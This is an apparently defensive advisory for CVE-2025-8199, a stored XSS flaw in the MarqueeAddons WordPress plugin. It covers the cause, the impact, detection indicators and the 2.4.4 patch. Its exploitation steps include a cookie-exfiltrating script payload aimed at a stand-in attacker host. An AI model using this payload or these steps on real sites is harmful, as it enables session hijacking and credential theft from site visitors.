CVE-2025-8199: 
WordPress vulnerability analysis and mitigation

CVE-2025-8199 is a Stored Cross-Site Scripting (XSS) vulnerability in the MarqueeAddons plugin for WordPress, specifically within the Testimonial Marquee widget. It affects all versions up to and including 2.4.3 and stems from insufficient input sanitization and output escaping on user-supplied attributes. The vulnerability was published on December 13, 2025, and assigned by Wordfence. It carries a CVSS v3.1 base score of 6.4 (Medium) (Wordfence, Red Hat CVE).

The root cause is classified as CWE-79 (Improper Neutralization of Input During Web Page Generation — Cross-Site Scripting). The vulnerability exists because the Testimonial Marquee widget in the MarqueeAddons plugin fails to properly sanitize user-supplied widget attributes before storing them and fails to escape them on output. An authenticated attacker with at least contributor-level access can craft a malicious widget configuration containing arbitrary JavaScript, which is then stored in the database and executed in the browsers of any user who visits a page containing the injected widget (Wordfence, ENISA EUVD).

Successful exploitation allows an authenticated contributor-level attacker to inject persistent malicious scripts into WordPress pages, which execute in the context of any visitor's browser. This can lead to session cookie theft, credential harvesting, defacement, redirection to malicious sites, or delivery of further malware payloads to site visitors. The CVSS scope is marked as Changed, reflecting that the impact crosses from the attacker's session into the browsers of other users (Wordfence, Red Hat CVE).

No public exploit code or active in-the-wild exploitation has been reported for CVE-2025-8199. The EPSS score is approximately 0.029% (0.000290), indicating a low probability of exploitation in the near term. The vulnerability is not listed in the CISA Known Exploited Vulnerabilities (KEV) catalog. Exploitation requires authenticated access at the contributor level or above, which limits the attack surface compared to unauthenticated vulnerabilities (Wordfence, ENISA EUVD).

1. Gain Contributor Access: Obtain or register a WordPress account with at least contributor-level privileges on a target site running MarqueeAddons ≤ 2.4.3.
2. Insert Malicious Widget: Create or edit a page/post using the Elementor editor and add the Testimonial Marquee widget from the MarqueeAddons plugin.
3. Inject XSS Payload: In one of the widget's user-supplied attribute fields (e.g., testimonial name, title, or description), insert a malicious JavaScript payload such as <script>document.location='https://attacker.com/steal?c='+document.cookie</script> or an event-handler-based payload.
4. Publish the Page: Save and publish the page containing the injected widget. The malicious script is stored in the WordPress database.
5. Trigger Execution: When any site visitor (including administrators) loads the affected page, the injected script executes in their browser, enabling session hijacking, credential theft, or further attacks (Wordfence).

• Database: WordPress wp_posts or wp_postmeta tables containing <script> tags or JavaScript event handlers (e.g., onerror, onload) within Elementor widget data associated with the Testimonial Marquee widget.
• Logs: WordPress or web server access logs showing POST requests to /wp-admin/post.php or the Elementor AJAX endpoint (/wp-admin/admin-ajax.php) from contributor-level accounts containing encoded script tags in the request body.
• Network: Outbound connections from visitor browsers to unexpected external domains shortly after loading pages containing the MarqueeAddons Testimonial Marquee widget.
• File System: Unexpected modifications to Elementor-saved page data files or exported templates containing obfuscated JavaScript.

The vendor (debuggersstudio) released a patched version of the MarqueeAddons for Elementor plugin (version 2.4.4) that addresses the insufficient sanitization and escaping. Site administrators should update the plugin to version 2.4.4 or later immediately via the WordPress plugin dashboard or by applying the changeset directly. As a temporary workaround, restricting contributor-level user registration or disabling the Testimonial Marquee widget until the update is applied can reduce exposure (Wordfence, WordPress Plugin Changeset).

Wordfence included CVE-2025-8199 in their weekly WordPress vulnerability report for December 8–14, 2025, as part of routine disclosure coverage. No significant independent researcher commentary, vendor statements beyond the patch release, or notable media coverage has been identified for this vulnerability (Wordfence Weekly Report).